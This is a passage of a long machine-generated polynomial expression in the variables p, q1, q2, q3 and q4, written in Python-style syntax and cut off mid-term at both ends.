72*p**3*q2**4*q3*q4**2 - 252*p**3*q2**4*q3*q4 + 504*p**3*q2**4*q3 - 9*p**3*q2**3*q3**5 - 9*p**3*q2**3*q3**4*q4 + 72*p**3*q2**3*q3**4 - 9*p**3*q2**3*q3**3*q4**2 + 72*p**3*q2**3*q3**3*q4 - 252*p**3*q2**3*q3**3 - 9*p**3*q2**3*q3**2*q4**3 + 72*p**3*q2**3*q3**2*q4**2 - 252*p**3*q2**3*q3**2*q4 + 504*p**3*q2**3*q3**2 - 9*p**3*q2**3*q3*q4**4 + 72*p**3*q2**3*q3*q4**3 - 252*p**3*q2**3*q3*q4**2 + 504*p**3*q2**3*q3*q4 - 630*p**3*q2**3*q3 - 9*p**3*q2**2*q3**6 - 9*p**3*q2**2*q3**5*q4 + 72*p**3*q2**2*q3**5 - 9*p**3*q2**2*q3**4*q4**2 + 72*p**3*q2**2*q3**4*q4 - 252*p**3*q2**2*q3**4 - 9*p**3*q2**2*q3**3*q4**3 + 72*p**3*q2**2*q3**3*q4**2 - 252*p**3*q2**2*q3**3*q4 + 504*p**3*q2**2*q3**3 - 9*p**3*q2**2*q3**2*q4**4 + 72*p**3*q2**2*q3**2*q4**3 - 252*p**3*q2**2*q3**2*q4**2 + 504*p**3*q2**2*q3**2*q4 - 630*p**3*q2**2*q3**2 - 9*p**3*q2**2*q3*q4**5 + 72*p**3*q2**2*q3*q4**4 - 252*p**3*q2**2*q3*q4**3 + 504*p**3*q2**2*q3*q4**2 - 630*p**3*q2**2*q3*q4 + 504*p**3*q2**2*q3 - 9*p**3*q2*q3**7 - 9*p**3*q2*q3**6*q4 + 72*p**3*q2*q3**6 - 9*p**3*q2*q3**5*q4**2 + 72*p**3*q2*q3**5*q4 - 252*p**3*q2*q3**5 - 9*p**3*q2*q3**4*q4**3 + 72*p**3*q2*q3**4*q4**2 - 252*p**3*q2*q3**4*q4 + 504*p**3*q2*q3**4 - 9*p**3*q2*q3**3*q4**4 + 72*p**3*q2*q3**3*q4**3 - 252*p**3*q2*q3**3*q4**2 + 504*p**3*q2*q3**3*q4 - 630*p**3*q2*q3**3 - 9*p**3*q2*q3**2*q4**5 + 72*p**3*q2*q3**2*q4**4 - 252*p**3*q2*q3**2*q4**3 + 504*p**3*q2*q3**2*q4**2 - 630*p**3*q2*q3**2*q4 + 504*p**3*q2*q3**2 - 9*p**3*q2*q3*q4**6 + 72*p**3*q2*q3*q4**5 - 252*p**3*q2*q3*q4**4 + 504*p**3*q2*q3*q4**3 - 630*p**3*q2*q3*q4**2 + 504*p**3*q2*q3*q4 - 252*p**3*q2*q3 + 24*p**3*q3**7 + 24*p**3*q3**6*q4 - 168*p**3*q3**6 + 24*p**3*q3**5*q4**2 - 168*p**3*q3**5*q4 + 504*p**3*q3**5 + 24*p**3*q3**4*q4**3 - 168*p**3*q3**4*q4**2 + 504*p**3*q3**4*q4 - 840*p**3*q3**4 + 24*p**3*q3**3*q4**4 - 168*p**3*q3**3*q4**3 + 504*p**3*q3**3*q4**2 - 840*p**3*q3**3*q4 + 840*p**3*q3**3 + 24*p**3*q3**2*q4**5 - 168*p**3*q3**2*q4**4 + 504*p**3*q3**2*q4**3 - 840*p**3*q3**2*q4**2 + 840*p**3*q3**2*q4 - 504*p**3*q3**2 + 24*p**3*q3*q4**6 - 168*p**3*q3*q4**5 + 504*p**3*q3*q4**4 - 840*p**3*q3*q4**3 + 840*p**3*q3*q4**2 - 504*p**3*q3*q4 + 168*p**3*q3 - 42*p**3*q4**6 + 252*p**3*q4**5 - 630*p**3*q4**4 + 840*p**3*q4**3 - 630*p**3*q4**2 + 252*p**3*q4 - 42*p**3 - 6*p**2*q1**7*q2*q3 - 6*p**2*q1**6*q2**2*q3 - 6*p**2*q1**6*q2*q3**2 - 6*p**2*q1**6*q2*q3*q4 + 54*p**2*q1**6*q2*q3 - 6*p**2*q1**5*q2**3*q3 - 6*p**2*q1**5*q2**2*q3**2 - 6*p**2*q1**5*q2**2*q3*q4 + 54*p**2*q1**5*q2**2*q3 - 6*p**2*q1**5*q2*q3**3 - 6*p**2*q1**5*q2*q3**2*q4 + 54*p**2*q1**5*q2*q3**2 - 6*p**2*q1**5*q2*q3*q4**2 + 54*p**2*q1**5*q2*q3*q4 - 216*p**2*q1**5*q2*q3 - 6*p**2*q1**4*q2**4*q3 - 6*p**2*q1**4*q2**3*q3**2 - 6*p**2*q1**4*q2**3*q3*q4 + 54*p**2*q1**4*q2**3*q3 - 6*p**2*q1**4*q2**2*q3**3 - 6*p**2*q1**4*q2**2*q3**2*q4 + 54*p**2*q1**4*q2**2*q3**2 - 6*p**2*q1**4*q2**2*q3*q4**2 + 54*p**2*q1**4*q2**2*q3*q4 - 216*p**2*q1**4*q2**2*q3 - 6*p**2*q1**4*q2*q3**4 - 6*p**2*q1**4*q2*q3**3*q4 + 54*p**2*q1**4*q2*q3**3 - 6*p**2*q1**4*q2*q3**2*q4**2 + 54*p**2*q1**4*q2*q3**2*q4 - 216*p**2*q1**4*q2*q3**2 - 6*p**2*q1**4*q2*q3*q4**3 + 54*p**2*q1**4*q2*q3*q4**2 - 216*p**2*q1**4*q2*q3*q4 + 504*p**2*q1**4*q2*q3 - 6*p**2*q1**3*q2**5*q3 - 6*p**2*q1**3*q2**4*q3**2 - 6*p**2*q1**3*q2**4*q3*q4 + 54*p**2*q1**3*q2**4*q3 - 6*p**2*q1**3*q2**3*q3**3 - 6*p**2*q1**3*q2**3*q3**2*q4 + 54*p**2*q1**3*q2**3*q3**2 - 6*p**2*q1**3*q2**3*q3*q4**2 + 54*p**2*q1**3*q2**3*q3*q4 - 216*p**2*q1**3*q2**3*q3 - 6*p**2*q1**3*q2**2*q3**4 - 6*p**2*q1**3*q2**2*q3**3*q4 + 54*p**2*q1**3*q2**2*q3**3 - 6*p**2*q1**3*q2**2*q3**2*q4**2 + 54*p**2*q1**3*q2**2*q3**2*q4 - 216*p**2*q1**3*q2**2*q3**2 - 6*p**2*q1**3*q2**2*q3*q4**3 + 54*p**2*q1**3*q2**2*q3*q4**2 - 216*p**2*q1**3*q2**2*q3*q4 + 504*p**2*q1**3*q2**2*q3 - 6*p**2*q1**3*q2*q3**5 - 6*p**2*q1**3*q2*q3**4*q4 + 54*p**2*q1**3*q2*q3**4 - 6*p**2*q1**3*q2*q3**3*q4**2 + 54*p**2*q1**3*q2*q3**3*q4 - 216*p**2*q1**3*q2*q3**3 - 6*p**2*q1**3*q2*q3**2*q4**3 + 54*p**2*q1**3*q2*q3**2*q4**2 - 216*p**2*q1**3*q2*q3**2*q4 + 504*p**2*q1**3*q2*q3**2 - 6*p**2*q1**3*q2*q3*q4**4 + 54*p**2*q1**3*q2*q3*q4**3 - 216*p**2*q1**3*q2*q3*q4**2 + 504*p**2*q1**3*q2*q3*q4 - 756*p**2*q1**3*q2*q3 - 6*p**2*q1**2*q2**6*q3 - 6*p**2*q1**2*q2**5*q3**2 - 6*p**2*q1**2*q2**5*q3*q4 + 54*p**2*q1**2*q2**5*q3 - 6*p**2*q1**2*q2**4*q3**3 - 6*p**2*q1**2*q2**4*q3**2*q4 + 54*p**2*q1**2*q2**4*q3**2 - 6*p**2*q1**2*q2**4*q3*q4**2 + 54*p**2*q1**2*q2**4*q3*q4 - 216*p**2*q1**2*q2**4*q3 - 6*p**2*q1**2*q2**3*q3**4 - 6*p**2*q1**2*q2**3*q3**3*q4 + 54*p**2*q1**2*q2**3*q3**3 - 6*p**2*q1**2*q2**3*q3**2*q4**2 + 54*p**2*q1**2*q2**3*q3**2*q4 - 216*p**2*q1**2*q2**3*q3**2 - 6*p**2*q1**2*q2**3*q3*q4**3 + 54*p**2*q1**2*q2**3*q3*q4**2 - 216*p**2*q1**2*q2**3*q3*q4 + 504*p**2*q1**2*q2**3*q3 - 6*p**2*q1**2*q2**2*q3**5 - 6*p**2*q1**2*q2**2*q3**4*q4 + 54*p**2*q1**2*q2**2*q3**4 - 6*p**2*q1**2*q2**2*q3**3*q4**2 + 54*p**2*q1**2*q2**2*q3**3*q4 - 216*p**2*q1**2*q2**2*q3**3 - 6*p**2*q1**2*q2**2*q3**2*q4**3 + 54*p**2*q1**2*q2**2*q3**2*q4**2 - 216*p**2*q1**2*q2**2*q3**2*q4 + 504*p**2*q1**2*q2**2*q3**2 - 6*p**2*q1**2*q2**2*q3*q4**4 + 54*p**2*q1**2*q2**2*q3*q4**3 - 216*p**2*q1**2*q2**2*q3*q4**2 + 504*p**2*q1**2*q2**2*q3*q4 - 756*p**2*q1**2*q2**2*q3 - 6*p**2*q1**2*q2*q3**6 - 6*p**2*q1**2*q2*q3**5*q4 + 54*p**2*q1**2*q2*q3**5 - 6*p**2*q1**2*q2*q3**4*q4**2 + 54*p**2*q1**2*q2*q3**4*q4 - 216*p**2*q1**2*q2*q3**4 - 6*p**2*q1**2*q2*q3**3*q4**3 + 54*p**2*q1**2*q2*q3**3*q4**2 - 216*p**2*q1**2*q2*q3**3*q4 + 504*p**2*q1**2*q2*q3**3 - 6*p**2*q1**2*q2*q3**2*q4**4 + 54*p**2*q1**2*q2*q3**2*q4**3 - 216*p**2*q1**2*q2*q3**2*q4**2 + 504*p**2*q1**2*q2*q3**2*q4 - 756*p**2*q1**2*q2*q3**2 - 6*p**2*q1**2*q2*q3*q4**5 + 54*p**2*q1**2*q2*q3*q4**4 - 216*p**2*q1**2*q2*q3*q4**3 + 504*p**2*q1**2*q2*q3*q4**2 - 756*p**2*q1**2*q2*q3*q4 + 756*p**2*q1**2*q2*q3 - 6*p**2*q1*q2**7*q3 - 6*p**2*q1*q2**6*q3**2 - 6*p**2*q1*q2**6*q3*q4 + 54*p**2*q1*q2**6*q3 - 6*p**2*q1*q2**5*q3**3 - 6*p**2*q1*q2**5*q3**2*q4 + 54*p**2*q1*q2**5*q3**2 - 6*p**2*q1*q2**5*q3*q4**2 + 54*p**2*q1*q2**5*q3*q4 - 216*p**2*q1*q2**5*q3 - 6*p**2*q1*q2**4*q3**4 - 6*p**2*q1*q2**4*q3**3*q4 + 54*p**2*q1*q2**4*q3**3 - 6*p**2*q1*q2**4*q3**2*q4**2 + 54*p**2*q1*q2**4*q3**2*q4 - 216*p**2*q1*q2**4*q3**2 - 6*p**2*q1*q2**4*q3*q4**3 + 54*p**2*q1*q2**4*q3*q4**2 - 216*p**2*q1*q2**4*q3*q4 + 504*p**2*q1*q2**4*q3 - 6*p**2*q1*q2**3*q3**5 - 6*p**2*q1*q2**3*q3**4*q4 + 54*p**2*q1*q2**3*q3**4 - 6*p**2*q1*q2**3*q3**3*q4**2 + 54*p**2*q1*q2**3*q3**3*q4 - 216*p**2*q1*q2**3*q3**3 - 6*p**2*q1*q2**3*q3**2*q4**3 + 54*p**2*q1*q2**3*q3**2*q4**2 - 216*p**2*q1*q2**3*q3**2*q4 + 504*p**2*q1*q2**3*q3**2 - 6*p**2*q1*q2**3*q3*q4**4 + 54*p**2*q1*q2**3*q3*q4**3 - 216*p**2*q1*q2**3*q3*q4**2 + 504*p**2*q1*q2**3*q3*q4 - 756*p**2*q1*q2**3*q3 - 6*p**2*q1*q2**2*q3**6 - 6*p**2*q1*q2**2*q3**5*q4 + 54*p**2*q1*q2**2*q3**5 - 6*p**2*q1*q2**2*q3**4*q4**2 + 54*p**2*q1*q2**2*q3**4*q4 - 216*p**2*q1*q2**2*q3**4 - 6*p**2*q1*q2**2*q3**3*q4**3 + 54*p**2*q1*q2**2*q3**3*q4**2 - 216*p**2*q1*q2**2*q3**3*q4 + 504*p**2*q1*q2**2*q3**3 - 6*p**2*q1*q2**2*q3**2*q4**4 + 54*p**2*q1*q2**2*q3**2*q4**3 - 216*p**2*q1*q2**2*q3**2*q4**2 + 504*p**2*q1*q2**2*q3**2*q4 - 756*p**2*q1*q2**2*q3**2 - 6*p**2*q1*q2**2*q3*q4**5 + 54*p**2*q1*q2**2*q3*q4**4 - 216*p**2*q1*q2**2*q3*q4**3 + 504*p**2*q1*q2**2*q3*q4**2 - 756*p**2*q1*q2**2*q3*q4 + 756*p**2*q1*q2**2*q3 - 6*p**2*q1*q2*q3**7 - 6*p**2*q1*q2*q3**6*q4 + 54*p**2*q1*q2*q3**6 - 6*p**2*q1*q2*q3**5*q4**2 + 54*p**2*q1*q2*q3**5*q4 - 216*p**2*q1*q2*q3**5 - 6*p**2*q1*q2*q3**4*q4**3 + 54*p**2*q1*q2*q3**4*q4**2 - 216*p**2*q1*q2*q3**4*q4 + 504*p**2*q1*q2*q3**4 - 6*p**2*q1*q2*q3**3*q4**4 + 54*p**2*q1*q2*q3**3*q4**3 - 216*p**2*q1*q2*q3**3*q4**2 + 504*p**2*q1*q2*q3**3*q4 - 756*p**2*q1*q2*q3**3 - 6*p**2*q1*q2*q3**2*q4**5 + 54*p**2*q1*q2*q3**2*q4**4 - 216*p**2*q1*q2*q3**2*q4**3 + 504*p**2*q1*q2*q3**2*q4**2 - 756*p**2*q1*q2*q3**2*q4 + 756*p**2*q1*q2*q3**2 - 6*p**2*q1*q2*q3*q4**6 + 54*p**2*q1*q2*q3*q4**5 - 216*p**2*q1*q2*q3*q4**4 + 504*p**2*q1*q2*q3*q4**3 - 756*p**2*q1*q2*q3*q4**2 + 756*p**2*q1*q2*q3*q4 - 504*p**2*q1*q2*q3 + 18*p**2*q2**7*q3 + 18*p**2*q2**6*q3**2 + 18*p**2*q2**6*q3*q4 - 144*p**2*q2**6*q3 + 18*p**2*q2**5*q3**3 + 18*p**2*q2**5*q3**2*q4 - 144*p**2*q2**5*q3**2 + 18*p**2*q2**5*q3*q4**2 - 144*p**2*q2**5*q3*q4 + 504*p**2*q2**5*q3 + 18*p**2*q2**4*q3**4 + 18*p**2*q2**4*q3**3*q4 - 144*p**2*q2**4*q3**3 + 18*p**2*q2**4*q3**2*q4**2 - 144*p**2*q2**4*q3**2*q4 + 504*p**2*q2**4*q3**2 + 18*p**2*q2**4*q3*q4**3 - 144*p**2*q2**4*q3*q4**2 + 504*p**2*q2**4*q3*q4 - 1008*p**2*q2**4*q3 + 18*p**2*q2**3*q3**5 + 18*p**2*q2**3*q3**4*q4 - 144*p**2*q2**3*q3**4 + 18*p**2*q2**3*q3**3*q4**2 - 144*p**2*q2**3*q3**3*q4 + 504*p**2*q2**3*q3**3 + 18*p**2*q2**3*q3**2*q4**3 - 144*p**2*q2**3*q3**2*q4**2 + 504*p**2*q2**3*q3**2*q4 - 1008*p**2*q2**3*q3**2 + 18*p**2*q2**3*q3*q4**4 - 144*p**2*q2**3*q3*q4**3 + 504*p**2*q2**3*q3*q4**2 - 1008*p**2*q2**3*q3*q4 + 1260*p**2*q2**3*q3 + 18*p**2*q2**2*q3**6 + 18*p**2*q2**2*q3**5*q4 - 144*p**2*q2**2*q3**5 + 18*p**2*q2**2*q3**4*q4**2 - 144*p**2*q2**2*q3**4*q4 + 504*p**2*q2**2*q3**4 + 18*p**2*q2**2*q3**3*q4**3 - 144*p**2*q2**2*q3**3*q4**2 + 504*p**2*q2**2*q3**3*q4 - 1008*p**2*q2**2*q3**3 + 18*p**2*q2**2*q3**2*q4**4 - 144*p**2*q2**2*q3**2*q4**3 + 504*p**2*q2**2*q3**2*q4**2 - 1008*p**2*q2**2*q3**2*q4 + 1260*p**2*q2**2*q3**2 + 18*p**2*q2**2*q3*q4**5 - 144*p**2*q2**2*q3*q4**4 + 504*p**2*q2**2*q3*q4**3 - 1008*p**2*q2**2*q3*q4**2 + 1260*p**2*q2**2*q3*q4 - 1008*p**2*q2**2*q3 + 18*p**2*q2*q3**7 + 18*p**2*q2*q3**6*q4 - 144*p**2*q2*q3**6 + 18*p**2*q2*q3**5*q4**2 - 144*p**2*q2*q3**5*q4 + 504*p**2*q2*q3**5 + 18*p**2*q2*q3**4*q4**3 - 144*p**2*q2*q3**4*q4**2 + 504*p**2*q2*q3**4*q4 - 1008*p**2*q2*q3**4 + 18*p**2*q2*q3**3*q4**4 - 144*p**2*q2*q3**3*q4**3 + 504*p**2*q2*q3**3*q4**2 - 1008*p**2*q2*q3**3*q4 + 1260*p**2*q2*q3**3 + 18*p**2*q2*q3**2*q4**5 - 144*p**2*q2*q3**2*q4**4 + 504*p**2*q2*q3**2*q4**3 - 1008*p**2*q2*q3**2*q4**2 + 1260*p**2*q2*q3**2*q4 - 1008*p**2*q2*q3**2 + 18*p**2*q2*q3*q4**6 - 144*p**2*q2*q3*q4**5 + 504*p**2*q2*q3*q4**4 - 1008*p**2*q2*q3*q4**3 + 1260*p**2*q2*q3*q4**2 - 1008*p**2*q2*q3*q4 + 504*p**2*q2*q3 - 24*p**2*q3**7 - 24*p**2*q3**6*q4 + 168*p**2*q3**6 - 24*p**2*q3**5*q4**2 + 168*p**2*q3**5*q4 - 504*p**2*q3**5 - 24*p**2*q3**4*q4**3 + 168*p**2*q3**4*q4**2 - 504*p**2*q3**4*q4 + 840*p**2*q3**4 - 24*p**2*q3**3*q4**4 + 168*p**2*q3**3*q4**3 - 504*p**2*q3**3*q4**2 + 840*p**2*q3**3*q4 - 840*p**2*q3**3 - 24*p**2*q3**2*q4**5 + 168*p**2*q3**2*q4**4 - 504*p**2*q3**2*q4**3 + 840*p**2*q3**2*q4**2 - 840*p**2*q3**2*q4 + 504*p**2*q3**2 - 24*p**2*q3*q4**6 + 168*p**2*q3*q4**5 - 504*p**2*q3*q4**4 + 840*p**2*q3*q4**3 - 840*p**2*q3*q4**2 + 504*p**2*q3*q4 - 168*p**2*q3 + 6*p*q1**7*q2*q3 + 6*p*q1**6*q2**2*q3 + 6*p*q1**6*q2*q3**2 + 6*p*q1**6*q2*q3*q4 - 54*p*q1**6*q2*q3 + 6*p*q1**5*q2**3*q3 + 6*p*q1**5*q2**2*q3**2 + 6*p*q1**5*q2**2*q3*q4 - 54*p*q1**5*q2**2*q3 + 6*p*q1**5*q2*q3**3 + 6*p*q1**5*q2*q3**2*q4 - 54*p*q1**5*q2*q3**2 + 6*p*q1**5*q2*q3*q4**2 - 54*p*q1**5*q2*q3*q4 + 216*p*q1**5*q2*q3 + 6*p*q1**4*q2**4*q3 + 6*p*q1**4*q2**3*q3**2 + 6*p*q1**4*q2**3*q3*q4 - 54*p*q1**4*q2**3*q3 + 6*p*q1**4*q2**2*q3**3 + 6*p*q1**4*q2**2*q3**2*q4 - 54*p*q1**4*q2**2*q3**2 + 6*p*q1**4*q2**2*q3*q4**2 - 54*p*q1**4*q2**2*q3*q4 + 216*p*q1**4*q2**2*q3 + 6*p*q1**4*q2*q3**4 + 6*p*q1**4*q2*q3**3*q4 - 54*p*q1**4*q2*q3**3 + 6*p*q1**4*q2*q3**2*q4**2 - 54*p*q1**4*q2*q3**2*q4 + 216*p*q1**4*q2*q3**2 + 6*p*q1**4*q2*q3*q4**3 - 54*p*q1**4*q2*q3*q4**2 + 216*p*q1**4*q2*q3*q4 - 504*p*q1**4*q2*q3 + 6*p*q1**3*q2**5*q3 + 6*p*q1**3*q2**4*q3**2 + 6*p*q1**3*q2**4*q3*q4 - 54*p*q1**3*q2**4*q3 + 6*p*q1**3*q2**3*q3**3 + 6*p*q1**3*q2**3*q3**2*q4 - 54*p*q1**3*q2**3*q3**2 + 6*p*q1**3*q2**3*q3*q4**2 - 54*p*q1**3*q2**3*q3*q4 + 216*p*q1**3*q2**3*q3 + 6*p*q1**3*q2**2*q3**4 + 6*p*q1**3*q2**2*q3**3*q4 - 54*p*q1**3*q2**2*q3**3 + 6*p*q1**3*q2**2*q3**2*q4**2 - 54*p*q1**3*q2**2*q3**2*q4 + 216*p*q1**3*q2**2*q3**2 + 6*p*q1**3*q2**2*q3*q4**3 - 54*p*q1**3*q2**2*q3*q4**2 + 216*p*q1**3*q2**2*q3*q4 - 504*p*q1**3*q2**2*q3 + 6*p*q1**3*q2*q3**5 + 6*p*q1**3*q2*q3**4*q4 - 54*p*q1**3*q2*q3**4 + 6*p*q1**3*q2*q3**3*q4**2 - 54*p*q1**3*q2*q3**3*q4 + 216*p*q1**3*q2*q3**3 + 6*p*q1**3*q2*q3**2*q4**3 - 54*p*q1**3*q2*q3**2*q4**2 + 216*p*q1**3*q2*q3**2*q4 - 504*p*q1**3*q2*q3**2 + 6*p*q1**3*q2*q3*q4**4 - 54*p*q1**3*q2*q3*q4**3 + 216*p*q1**3*q2*q3*q4**2 - 504*p*q1**3*q2*q3*q4 + 756*p*q1**3*q2*q3 + 6*p*q1**2*q2**6*q3 + 6*p*q1**2*q2**5*q3**2 + 6*p*q1**2*q2**5*q3*q4 - 54*p*q1**2*q2**5*q3 + 6*p*q1**2*q2**4*q3**3 + 6*p*q1**2*q2**4*q3**2*q4 - 54*p*q1**2*q2**4*q3**2 + 6*p*q1**2*q2**4*q3*q4**2 - 54*p*q1**2*q2**4*q3*q4 + 216*p*q1**2*q2**4*q3 + 6*p*q1**2*q2**3*q3**4 + 6*p*q1**2*q2**3*q3**3*q4 - 54*p*q1**2*q2**3*q3**3 + 6*p*q1**2*q2**3*q3**2*q4**2 - 54*p*q1**2*q2**3*q3**2*q4 + 216*p*q1**2*q2**3*q3**2 + 6*p*q1**2*q2**3*q3*q4**3 - 54*p*q1**2*q2**3*q3*q4**2 + 216*p*q1**2*q2**3*q3*q4 - 504*p*q1**2*q2**3*q3 + 6*p*q1**2*q2**2*q3**5 + 6*p*q1**2*q2**2*q3**4*q4 - 54*p*q1**2*q2**2*q3**4 + 6*p*q1**2*q2**2*q3**3*q4**2 - 54*p*q1**2*q2**2*q3**3*q4 + 216*p*q1**2*q2**2*q3**3 + 6*p*q1**2*q2**2*q3**2*q4**3 - 54*p*q1**2*q2**2*q3**2*q4**2 + 216*p*q1**2*q2**2*q3**2*q4 - 504*p*q1**2*q2**2*q3**2 + 6*p*q1**2*q2**2*q3*q4**4 - 54*p*q1**2*q2**2*q3*q4**3 + 216*p*q1**2*q2**2*q3*q4**2 - 504*p*q1**2*q2**2*q3*q4 + 756*p*q1**2*q2**2*q3 + 6*p*q1**2*q2*q3**6 + 6*p*q1**2*q2*q3**5*q4 - 54*p*q1**2*q2*q3**5 + 6*p*q1**2*q2*q3**4*q4**2 - 54*p*q1**2*q2*q3**4*q4 + 216*p*q1**2*q2*q3**4 + 6*p*q1**2*q2*q3**3*q4**3 - 54*p*q1**2*q2*q3**3*q4**2 + 216*p*q1**2*q2*q3**3*q4 - 504*p*q1**2*q2*q3**3 + 6*p*q1**2*q2*q3**2*q4**4 - 54*p*q1**2*q2*q3**2*q4**3 + 216*p*q1**2*q2*q3**2*q4**2 - 504*p*q1**2*q2*q3**2*q4 + 756*p*q1**2*q2*q3**2 + 6*p*q1**2*q2*q3*q4**5 - 54*p*q1**2*q2*q3*q4**4 + 216*p*q1**2*q2*q3*q4**3 - 504*p*q1**2*q2*q3*q4**2 + 756*p*q1**2*q2*q3*q4 - 756*p*q1**2*q2*q3 + 6*p*q1*q2**7*q3 + 6*p*q1*q2**6*q3**2 + 6*p*q1*q2**6*q3*q4 - 54*p*q1*q2**6*q3 + 6*p*q1*q2**5*q3**3 + 6*p*q1*q2**5*q3**2*q4 - 54*p*q1*q2**5*q3**2 + 6*p*q1*q2**5*q3*q4**2 - 54*p*q1*q2**5*q3*q4 + 216*p*q1*q2**5*q3 + 6*p*q1*q2**4*q3**4 + 6*p*q1*q2**4*q3**3*q4 - 54*p*q1*q2**4*q3**3 + 6*p*q1*q2**4*q3**2*q4**2 - 54*p*q1*q2**4*q3**2*q4 + 216*p*q1*q2**4*q3**2 + 6*p*q1*q2**4*q3*q4**3 - 54*p*q1*q2**4*q3*q4**2 + 216*p*q1*q2**4*q3*q4 - 504*p*q1*q2**4*q3 + 6*p*q1*q2**3*q3**5 + 6*p*q1*q2**3*q3**4*q4 - 54*p*q1*q2**3*q3**4 + 6*p*q1*q2**3*q3**3*q4**2 - 54*p*q1*q2**3*q3**3*q4 + 216*p*q1*q2**3*q3**3 + 6*p*q1*q2**3*q3**2*q4**3 - 54*p*q1*q2**3*q3**2*q4**2 + 216*p*q1*q2**3*q3**2*q4 - 504*p*q1*q2**3*q3**2 + 6*p*q1*q2**3*q3*q4**4 - 54*p*q1*q2**3*q3*q4**3 + 216*p*q1*q2**3*q3*q4**2 - 504*p*q1*q2**3*q3*q4 + 756*p*q1*q2**3*q3 + 6*p*q1*q2**2*q3**6 + 6*p*q1*q2**2*q3**5*q4 - 54*p*q1*q2**2*q3**5 + 6*p*q1*q2**2*q3**4*q4**2 - 54*p*q1*q2**2*q3**4*q4 + 216*p*q1*q2**2*q3**4 + 6*p*q1*q2**2*q3**3*q4**3 - 54*p*q1*q2**2*q3**3*q4**2 + 216*p*q1*q2**2*q3**3*q4 - 504*p*q1*q2**2*q3**3 + 6*p*q1*q2**2*q3**2*q4**4 - 54*p*q1*q2**2*q3**2*q4**3 + 216*p*q1*q2**2*q3**2*q4**2 - 504*p*q1*q2**2*q3**2*q4 + 756*p*q1*q2**2*q3**2 + 6*p*q1*q2**2*q3*q4**5 - 54*p*q1*q2**2*q3*q4**4 + 216*p*q1*q2**2*q3*q4**3 - 504*p*q1*q2**2*q3*q4**2 + 756*p*q1*q2**2*q3*q4 - 756*p*q1*q2**2*q3 + 6*p*q1*q2*q3**7 + 6*p*q1*q2*q3**6*q4 - 54*p*q1*q2*q3**6 + 6*p*q1*q2*q3**5*q4**2 - 54*p*q1*q2*q3**5*q4 + 216*p*q1*q2*q3**5 + 6*p*q1*q2*q3**4*q4**3 - 54*p*q1*q2*q3**4*q4**2 + 216*p*q1*q2*q3**4*q4 - 504*p*q1*q2*q3**4 + 6*p*q1*q2*q3**3*q4**4 - 54*p*q1*q2*q3**3*q4**3 + 216*p*q1*q2*q3**3*q4**2 - 504*p*q1*q2*q3**3*q4 + 756*p*q1*q2*q3**3 + 6*p*q1*q2*q3**2*q4**5 - 54*p*q1*q2*q3**2*q4**4 + 216*p*q1*q2*q3**2*q4**3 - 504*p*q1*q2*q3**2*q4**2 + 756*p*q1*q2*q3**2*q4 - 756*p*q1*q2*q3**2 + 6*p*q1*q2*q3*q4**6 - 54*p*q1*q2*q3*q4**5 + 216*p*q1*q2*q3*q4**4 - 504*p*q1*q2*q3*q4**3 + 756*p*q1*q2*q3*q4**2 - 756*p*q1*q2*q3*q4 + 504*p*q1*q2*q3 - 9*p*q2**7*q3 - 9*p*q2**6*q3**2 - 9*p*q2**6*q3*q4 + 72*p*q2**6*q3 - 9*p*q2**5*q3**3 - 9*p*q2**5*q3**2*q4 + 72*p*q2**5*q3**2 - 9*p*q2**5*q3*q4**2 + 72*p*q2**5*q3*q4 - 252*p*q2**5*q3 - 9*p*q2**4*q3**4 - 9*p*q2**4*q3**3*q4 + 72*p*q2**4*q3**3 - 9*p*q2**4*q3**2*q4**2 + 72*p*q2**4*q3**2*q4 - 252*p*q2**4*q3**2 - 9*p*q2**4*q3*q4**3 + 72*p*q2**4*q3*q4**2 - 252*p*q2**4*q3*q4 + 504*p*q2**4*q3 - 9*p*q2**3*q3**5 - 9*p*q2**3*q3**4*q4 + 72*p*q2**3*q3**4 - 9*p*q2**3*q3**3*q4**2 + 72*p*q2**3*q3**3*q4 - 252*p*q2**3*q3**3 - 9*p*q2**3*q3**2*q4**3 + 72*p*q2**3*q3**2*q4**2 - 252*p*q2**3*q3**2*q4 + 504*p*q2**3*q3**2 - 9*p*q2**3*q3*q4**4 + 72*p*q2**3*q3*q4**3 - 252*p*q2**3*q3*q4**2 + 504*p*q2**3*q3*q4 - 630*p*q2**3*q3 - 9*p*q2**2*q3**6 - 9*p*q2**2*q3**5*q4 + 72*p*q2**2*q3**5 - 9*p*q2**2*q3**4*q4**2 + 72*p*q2**2*q3**4*q4 - 252*p*q2**2*q3**4 - 9*p*q2**2*q3**3*q4**3 + 72*p*q2**2*q3**3*q4**2 - 252*p*q2**2*q3**3*q4 + 504*p*q2**2*q3**3 - 9*p*q2**2*q3**2*q4**4 + 72*p*q2**2*q3**2*q4**3 - 252*p*q2**2*q3**2*q4**2 + 504*p*q2**2*q3**2*q4 - 630*p*q2**2*q3**2 - 9*p*q2**2*q3*q4**5 + 72*p*q2**2*q3*q4**4 - 252*p*q2**2*q3*q4**3 + 504*p*q2**2*q3*q4**2 - 630*p*q2**2*q3*q4 + 504*p*q2**2*q3 - 9*p*q2*q3**7 - 9*p*q2*q3**6*q4 + 72*p*q2*q3**6 - 9*p*q2*q3**5*q4**2 + 72*p*q2*q3**5*q4 - 252*p*q2*q3**5 - 9*p*q2*q3**4*q4**3 + 72*p*q2*q3**4*q4**2 - 252*p*q2*q3**4*q4 + 504*p*q2*q3**4 - 9*p*q2*q3**3*q4**4 + 72*p*q2*q3**3*q4**3 - 252*p*q2*q3**3*q4**2 + 504*p*q2*q3**3*q4 - 630*p*q2*q3**3 - 9*p*q2*q3**2*q4**5 + 72*p*q2*q3**2*q4**4 - 252*p*q2*q3**2*q4**3 + 504*p*q2*q3**2*q4**2 - 630*p*q2*q3**2*q4 + 504*p*q2*q3**2 - 9*p*q2*q3*q4**6 + 72*p*q2*q3*q4**5 - 252*p*q2*q3*q4**4 + 504*p*q2*q3*q4**3 - 630*p*q2*q3*q4**2 + 504*p*q2*q3*q4 - 252*p*q2*q3 - 2*q1**7*q2*q3 - 2*q1**6*q2**2*q3 - 2*q1**6*q2*q3**2 - 2*q1**6*q2*q3*q4 + 18*q1**6*q2*q3 - 2*q1**5*q2**3*q3 - 2*q1**5*q2**2*q3**2 - 2*q1**5*q2**2*q3*q4 + 18*q1**5*q2**2*q3 - 2*q1**5*q2*q3**3 - 2*q1**5*q2*q3**2*q4 + 18*q1**5*q2*q3**2 - 2*q1**5*q2*q3*q4**2 + 18*q1**5*q2*q3*q4 - 72*q1**5*q2*q3 - 2*q1**4*q2**4*q3 - 2*q1**4*q2**3*q3**2 - 2*q1**4*q2**3*q3*q4 + 